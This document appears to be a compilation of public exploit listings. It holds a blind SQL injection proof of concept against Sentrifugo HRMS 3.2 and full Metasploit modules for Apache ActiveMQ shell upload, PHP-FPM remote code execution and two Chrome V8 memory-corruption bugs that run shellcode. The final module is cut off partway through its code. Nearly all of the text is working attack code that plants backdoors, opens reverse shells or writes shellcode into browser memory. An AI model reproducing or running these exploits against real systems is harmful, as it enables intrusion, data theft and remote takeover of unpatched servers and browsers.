# Exploit Title: Sentrifugo HRMS 3.2 - 'id' SQL Injection # Exploit Author: minhnb # Website: # Date: 2020-03-06 # Google Dork: N/A # Vendor: http://www.sapplica.com # Software Link: http://www.sentrifugo.com/download # Affected Version: 3.2 and possibly before # Patched Version: unpatched # Category: Web Application # Platform: PHP # Tested on: Win10x64 & Kali Linux # CVE: N/A # 1. Technical Description: # Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid # parameter through POST request in "/sentrifugo/index.php/holidaygroups/add" resource. # This allows a user of the application without permissions to read sensitive information from # the database used by the application. # 2. Proof Of Concept (PoC): POST /sentrifugo/index.php/holidaygroups/add HTTP/1.1 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: http://localhost/sentrifugo/index.php Connection: keep-alive Cookie: PHPSESSID=j4a2o4mq6frhfltq2a0h2spknh Accept: */* Accept-Encoding: gzip,deflate Content-Length: 98 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate()%2Csleep(9)%2C0))XOR'Z&submit=Save # 3. Payload: Parameter: id (POST) Type: time-based blind Title: MySQL >= 5.0 time-based blind - Parameter replace Payload: Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z&submit=Save # 4. Reference:
-
Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload', 'Description' => %q{ This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache ActiveMQ 5.x before 5.11.2 for Windows. The module tries to upload a JSP payload to the /admin directory via the traversal path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ credentials admin:admin (or other credentials provided by the user). It then issues an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the payload and obtain a shell. }, 'Author' => [ 'David Jorm', # Discovery and exploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ [ 'CVE', '2015-1830' ], [ 'EDB', '40857'], [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ] ], 'Privileged' => false, 'Platform' => %w{ win }, 'Targets' => [ [ 'Windows Java', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ], ], 'DisclosureDate' => '2015-08-19', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 8161, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']) ]) end def check print_status("Running check...") testfile = Rex::Text::rand_text_alpha(10) testcontent = Rex::Text::rand_text_alpha(10) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'PUT', 'data' => "<% out.println(\"#{testcontent}\");%>" }) res1 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'GET' }) if res1 && res1.body.include?(testcontent) send_request_cgi( opts = { 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'DELETE' }, timeout = 1 ) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Uploading payload...") testfile = Rex::Text::rand_text_alpha(10) vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails. send_request_cgi({ 'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'PUT', 'data' => payload.encoded }) print_status("Payload sent. Attempting to execute the payload.") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'GET' }) if res && res.code == 200 print_good("Payload executed!") else fail_with(Failure::PayloadFailed, "Failed to execute the payload") end end end
-
PHP-FPM - Underflow Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'PHP-FPM Underflow RCE', 'Description' => %q( This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certains Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs.). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file locally on the target, which enables code execution through a query string parameter. This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file. ), 'Author' => [ 'neex', # (Emil Lerner) Discovery and original exploit code 'cdelafuente-r7' # This module ], 'References' => [ ['CVE', '2019-11043'], ['EDB', '47553'], ['URL', 'https://github.com/neex/phuip-fpizdam'], ['URL', 'https://bugs.php.net/bug.php?id=78599'], ['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html'] ], 'DisclosureDate' => "2019-10-22", 'License' => MSF_LICENSE, 'Payload' => { 'BadChars' => "&>\' " }, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => { 'PrependEncoder' => "php -r \"", 'AppendEncoder' => "\"" } } ], [ 'Shell Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php']) ]) register_advanced_options([ OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]), OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]), OptInt.new('QSLHint', [false, 'Query string length hint']), OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]), OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]), OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]), OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]), OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']), OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]), OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20]) ]) @filename = rand_text_alpha(1) @http_param = rand_text_alpha(1) end CHECK_COMMAND = "which which" SUCCESS_PATTERN = "/bin/which" class DetectMethod attr_reader :php_option_enable, :php_option_disable def initialize(php_option_enable:, php_option_disable:, check_cb:) @php_option_enable = php_option_enable @php_option_disable = php_option_disable @check_cb = check_cb end def php_option_enabled?(res) !!@check_cb.call(res) end end def self.detect_methods { 'session.auto_start' => DetectMethod.new( php_option_enable: 'session.auto_start=1', php_option_disable: 'session.auto_start=0', check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ } ), 'output_handler.md5' => DetectMethod.new( php_option_enable: 'output_handler=md5', php_option_disable: 'output_handler=NULL', check_cb: ->(res) { res.body.length == 16 } ) } end def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true) uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'}) qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length if qsl_delta.odd? fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}" end prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26" qsl_prime = qsl - qsl_delta/2 - prefix.length if qsl_prime < 0 fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}" end uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}" opts = { 'method' => 'GET', 'uri' => uri, 'headers' => { 'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}", 'Nuut' => Rex::Text.rand_text_alphanumeric(11) } } actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0 actual_timeout ||= 20 connect(opts) if client.nil? || !client.conn? # By default, try to reuse an existing connection (persist option). res = client.send_recv(client.request_raw(opts), actual_timeout, true) if res.nil? && allow_retry # The server closed the connection, resend without 'persist', which forces # reconnecting. This could happen if the connection is reused too much time. # Nginx will automatically close a keepalive connection after 100 requests # by default or whatever value is set by the 'keepalive_requests' option. res = client.send_recv(client.request_raw(opts), actual_timeout) end res end def repeat_operation(op, opts={}) datastore['OperationMaxRetries'].times do |i| vprint_status("#{op}: try ##{i+1}") res = opts.empty? ? send(op) : send(op, opts) return res if res end nil end def extend_qsl_list(qsl_candidates) qsl_candidates.each_with_object([]) do |qsl, extended_qsl| (0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta| extended_qsl << qsl - delta end end.sort.uniq end def sanity_check? datastore['OperationMaxRetries'].times do res = send_crafted_request( path: "/PHP\nSOSAT", qsl: datastore['MaxQSL'], customh_length: datastore['MaxCustomHeaderLength'] ) unless res vprint_error("Error during sanity check") return false end if res.code != @base_status vprint_error( "Invalid status code: #{res.code} (must be #{@base_status}). "\ "Maybe \".php\" suffix is required?" ) return false end detect_method = self.class.detect_methods[datastore['DetectMethod']] if detect_method.php_option_enabled?(res) vprint_error( "Detection method '#{datastore['DetectMethod']}' won't work since "\ "the PHP option has already been set on the target. Try another one" ) return false end end return true end def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '') res = nil path = "/PHP_VALUE\n#{php_setting}" pos_offset = 34 if path.length > pos_offset vprint_error( "The path size (#{path.length} bytes) is larger than the allowed size "\ "(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')") return nil end path += ';' * (pos_offset - path.length) res = send_crafted_request( path: path, qsl: qsl, customh_length: customh_length, cmd: cmd ) unless res vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}") end return res end def send_params_detection(qsl_candidates:, customh_length:, detect_method:) php_setting = detect_method.php_option_enable vprint_status("Iterating until the PHP option is enabled (#{php_setting})...") customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a qsl_candidates.product(customh_lengths) do |qsl, c_length| res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) unless res vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}") return nil end if res.code != @base_status vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}") end if detect_method.php_option_enabled?(res) php_setting = detect_method.php_option_disable vprint_status("Attack params found, disabling PHP option (#{php_setting})...") set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) return { qsl: qsl, customh_length: c_length } end end return nil end def detect_params(qsl_candidates) customh_length = nil if datastore['CustomHeaderLengthHint'] vprint_status( "Using custom header length hint for max length (customh_length="\ "#{datastore['CustomHeaderLengthHint']})" ) customh_length = datastore['CustomHeaderLengthHint'] end detect_method = self.class.detect_methods[datastore['DetectMethod']] return repeat_operation( :send_params_detection, qsl_candidates: qsl_candidates, customh_length: customh_length, detect_method: detect_method ) end def send_attack_chain [ "short_open_tag=1", "html_errors=0", "include_path=/tmp", "auto_prepend_file=#{@filename}", "log_errors=1", "error_reporting=2", "error_log=/tmp/#{@filename}", "extension_dir=\"<?=`\"", "extension=\"$_GET[#{@http_param}]`?>\"" ].each do |php_setting| vprint_status("Sending php.ini setting: #{php_setting}") res = set_php_setting( php_setting: php_setting, qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: "/bin/sh -c '#{CHECK_COMMAND}'" ) if res return res if res.body.include?(SUCCESS_PATTERN) else print_error("Error when setting #{php_setting}") return nil end end return nil end def send_payload disconnect(client) if client&.conn? send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: payload.encoded, allow_retry: false ) Rex.sleep(1) return session_created? ? true : nil end def send_backdoor_cleanup cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}" res = send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: cleanup_command + ';' + CHECK_COMMAND ) return res if res&.body.include?(SUCCESS_PATTERN) return nil end def detect_qsl qsl_candidates = [] (datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl| res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl) unless res vprint_error("Error when sending query with QSL=#{qsl}") next end if res.code != @base_status vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate") qsl_candidates << qsl end end qsl_candidates end def check print_status("Sending baseline query...") res = send_crafted_request(path: "/path\ninfo.php") return CheckCode::Unknown("Error when sending baseline query") unless res @base_status = res.code vprint_status("Base status code is #{@base_status}") if datastore['QSLHint'] print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})") qsl_candidates = [datastore['QSLHint']] else print_status("Detecting QSL...") qsl_candidates = detect_qsl end if qsl_candidates.empty? return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong") end if qsl_candidates.size > datastore['MaxQSLCandidates'] return CheckCode::Detected("Too many qsl candidates found, looks like I got banned") end print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}") qsl_candidates = extend_qsl_list(qsl_candidates) vprint_status("Extended QSL list: #{qsl_candidates}") print_status("Doing sanity check...") return CheckCode::Detected('Sanity check failed') unless sanity_check? print_status("Detecting attack parameters...") @params = detect_params(qsl_candidates) return CheckCode::Detected('Unable to detect parameters') unless @params print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}") print_good("Target is vulnerable!") CheckCode::Vulnerable ensure disconnect(client) if client&.conn? end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable.' end if @params[:qsl].nil? || @params[:customh_length].nil? fail_with Failure::NotVulnerable, 'Attack parameters not found' end print_status("Performing attack using php.ini settings...") if repeat_operation(:send_attack_chain) print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'") else fail_with Failure::Unknown, 'Failed to send the attack chain' end print_status("Trying to cleanup /tmp/#{@filename}...") if repeat_operation(:send_backdoor_cleanup) print_good('Cleanup done!') end print_status("Sending payload...") repeat_operation(:send_payload) end def send_cleanup(cleanup_cmd:) res = send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: cleanup_cmd ) return res if res && res.code != @base_status return nil end def cleanup return unless successful kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done' rm = "rm -f /tmp/#{@filename}" cleanup_cmd = kill_workers + ';' + rm disconnect(client) if client&.conn? print_status("Remove /tmp/#{@filename} and kill workers...") if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd) print_good("Done!") else print_bad( "Could not cleanup. Run these commands before terminating the session: "\ "#{kill_workers}; #{rm}" ) end end end
-
Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 72 and 73 Array.map exploit', 'Description' => %q{ This module exploits an issue in Chrome 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly. }, 'License' => MSF_LICENSE, 'Author' => [ 'dmxcsnsbh', # discovery 'István Kurucsai', # exploit 'timwr', # metasploit module ], 'References' => [ ['CVE', '2019-5825'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'], ['URL', 'https://github.com/exodusintel/Chromium-941743'], ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'], ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'], ], 'Arch' => [ ARCH_X64 ], 'Platform' => ['windows','osx'], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Mar 7 2019')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.encoded) jscript = %Q^ // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } // ******************* // Exploit starts here // ******************* // This call ensures that TurboFan won't inline array constructors. Array(2**30); // we are aiming for the following object layout // [output of Array.map][packed float array][typed array][Object] // First the length of the packed float array is corrupted via the original vulnerability, // then the float array can be used to modify the backing store of the typed array, thus achieving AARW. // The Object at the end is used to implement addrof // offset of the length field of the float array from the map output const float_array_len_offset = 23; // offset of the length field of the typed array const tarray_elements_len_offset = 24; // offset of the address pointer of the typed array const tarray_elements_addr_offset = tarray_elements_len_offset + 1; const obj_prop_b_offset = 33; // Set up a fast holey smi array, and generate optimized code. let a = [1, 2, ,,, 3]; let cnt = 0; var tarray; var float_array; var obj; function mapping(a) { function cb(elem, idx) { if (idx == 0) { float_array = [0.1, 0.2]; tarray = new BigUint64Array(2); tarray[0] = 0x41414141n; tarray[1] = 0x42424242n; obj = {'a': 0x31323334, 'b': 1}; obj['b'] = obj; } if (idx > float_array_len_offset) { // minimize the corruption for stability throw "stop"; } return idx; } return a.map(cb); } function get_rw() { for (let i = 0; i < 10 ** 5; i++) { mapping(a); } // Now lengthen the array, but ensure that it points to a non-dictionary // backing store. a.length = (32 * 1024 * 1024)-1; a.fill(1, float_array_len_offset, float_array_len_offset+1); a.fill(1, float_array_len_offset+2); a.push(2); a.length += 500; // Now, the non-inlined array constructor should produce an array with // dictionary elements: causing a crash. cnt = 1; try { mapping(a); } catch(e) { // relative RW from the float array from this point on let sane = sanity_check() print('sanity_check == ', sane); print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16)); print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16)); print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16)); let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n; print('original elements addr: ' + original_elements_ptr.toString(16)); print('original elements value: ' + read8(original_elements_ptr).toString(16)); print('addrof(Object): ' + addrof(Object).toString(16)); } } function sanity_check() { success = true; success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141; success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242; success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000; return success; } function read8(addr) { let original = float_array[tarray_elements_len_offset+1]; float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); let result = tarray[0]; float_array[tarray_elements_len_offset+1] = original; return result; } function write8(addr, val) { let original = float_array[tarray_elements_len_offset+1]; float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); tarray[0] = val; float_array[tarray_elements_len_offset+1] = original; } function addrof(o) { obj['b'] = o; return float_array[obj_prop_b_offset].f2i(); } var wfunc = null; var shellcode = unescape("#{escaped_payload}"); function get_wasm_func() { var importObject = { imports: { imported_func: arg => print(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } function rce() { let wasm_func = get_wasm_func(); wfunc = wasm_func; // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func) - 1n; print('wasm: ' + wasm_func_addr); if (wasm_func_addr == 2) { print('Failed, retrying...'); location.reload(); return; } let sfi = read8(wasm_func_addr + 12n*2n) - 1n; print('sfi: ' + sfi.toString(16)); let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n; print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16)); let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n; print('instance: ' + instance.toString(16)); //let rwx_addr = read8(instance + 0x108n); let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86 //let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100 //let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84 print('rwx: ' + rwx_addr.toString(16)); // write the shellcode to the RWX page if (shellcode.length % 2 != 0) { shellcode += "\u9090"; } for (let i = 0; i < shellcode.length; i += 2) { write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000)); } // invoke the shellcode wfunc(); } function exploit() { print("Exploiting..."); get_rw(); rce(); } exploit(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end
-
Google Chrome 67, 68 and 69 - Object.create Type Confusion (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit', 'Description' => %q{ This modules exploits a type confusion in Google Chromes JIT compiler. The Object.create operation can be used to cause a type confusion between a PropertyArray and a NameDictionary. The payload is executed within the rwx region of the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work. }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo', # discovery and exploit 'timwr', # metasploit module ], 'References' => [ ['CVE', '2018-17463'], ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'], ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'], ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'], ], 'Arch' => [ ARCH_X64 ], 'Platform' => ['windows', 'osx'], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Sep 25 2018')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] " + request.body) send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") jscript = %Q^ let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]); let ab = new ArrayBuffer(8); let floatView = new Float64Array(ab); let uint64View = new BigUint64Array(ab); let uint8View = new Uint8Array(ab); Number.prototype.toBigInt = function toBigInt() { floatView[0] = this; return uint64View[0]; }; BigInt.prototype.toNumber = function toNumber() { uint64View[0] = this; return floatView[0]; }; function hex(n) { return '0x' + n.toString(16); }; function fail(s) { print('FAIL ' + s); throw null; } const NUM_PROPERTIES = 32; const MAX_ITERATIONS = 100000; function gc() { for (let i = 0; i < 200; i++) { new ArrayBuffer(0x100000); } } function make(properties) { let o = {inline: 42} // TODO for (let i = 0; i < NUM_PROPERTIES; i++) { eval(`o.p${i} = properties[${i}];`); } return o; } function pwn() { function find_overlapping_properties() { let propertyNames = []; for (let i = 0; i < NUM_PROPERTIES; i++) { propertyNames[i] = `p${i}`; } eval(` function vuln(o) { let a = o.inline; this.Object.create(o); ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')} return [${propertyNames.join(', ')}]; } `); let propertyValues = []; for (let i = 1; i < NUM_PROPERTIES; i++) { propertyValues[i] = -i; } for (let i = 0; i < MAX_ITERATIONS; i++) { let r = vuln(make(propertyValues)); if (r[1] !== -1) { for (let i = 1; i < r.length; i++) { if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) { return [i, -r[i]]; } } } } fail("Failed to find overlapping properties"); } function addrof(obj) { eval(` function vuln(o) { let a = o.inline; this.Object.create(o); return o.p${p1}.x1; } `); let propertyValues = []; propertyValues[p1] = {x1: 13.37, x2: 13.38}; propertyValues[p2] = {y1: obj}; let i = 0; for (; i < MAX_ITERATIONS; i++) { let res = vuln(make(propertyValues)); if (res !== 13.37) return res.toBigInt() } fail("Addrof failed"); } function corrupt_arraybuffer(victim, newValue) { eval(` function vuln(o) { let a = o.inline; this.Object.create(o); let orig = o.p${p1}.x2; o.p${p1}.x2 = ${newValue.toNumber()}; return orig; } `); let propertyValues = []; let o = {x1: 13.37, x2: 13.38}; propertyValues[p1] = o; propertyValues[p2] = victim; for (let i = 0; i < MAX_ITERATIONS; i++) { o.x2 = 13.38; let r = vuln(make(propertyValues)); if (r !== 13.38) return r.toBigInt(); } fail("Corrupt ArrayBuffer failed"); } let [p1, p2] = find_overlapping_properties(); print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`); let memview_buf = new ArrayBuffer(1024); let driver_buf = new ArrayBuffer(1024); gc(); let memview_buf_addr = addrof(memview_buf); memview_buf_addr--; print(`ArrayBuffer @ ${hex(memview_buf_addr)}`); let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr); let driver = new BigUint64Array(driver_buf); let original_memview_buf_ptr = driver[4]; let memory = { write(addr, bytes) { driver[4] = addr; let memview = new Uint8Array(memview_buf); memview.set(bytes); }, read(addr, len) { driver[4] = addr; let memview = new Uint8Array(memview_buf); return memview.subarray(0, len); }, readPtr(addr) { driver[4] = addr; let memview = new BigUint64Array(memview_buf); return memview[0]; }, writePtr(addr, ptr) { driver[4] = addr; let memview = new BigUint64Array(memview_buf); memview[0] = ptr; }, addrof(obj) { memview_buf.leakMe = obj; let props = this.readPtr(memview_buf_addr + 8n); return this.readPtr(props + 15n) - 1n; }, }; // Generate a RWX region for the payload function get_wasm_instance() { var buffer = new Uint8Array([ 0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0, 1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128, 128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104, 101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11 ]); return new WebAssembly.Instance(new WebAssembly.Module(buffer),{}); } let wasm_instance = get_wasm_instance(); let wasm_addr = memory.addrof(wasm_instance); print("wasm_addr @ " + hex(wasm_addr)); let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n); print("wasm_rwx @ " + 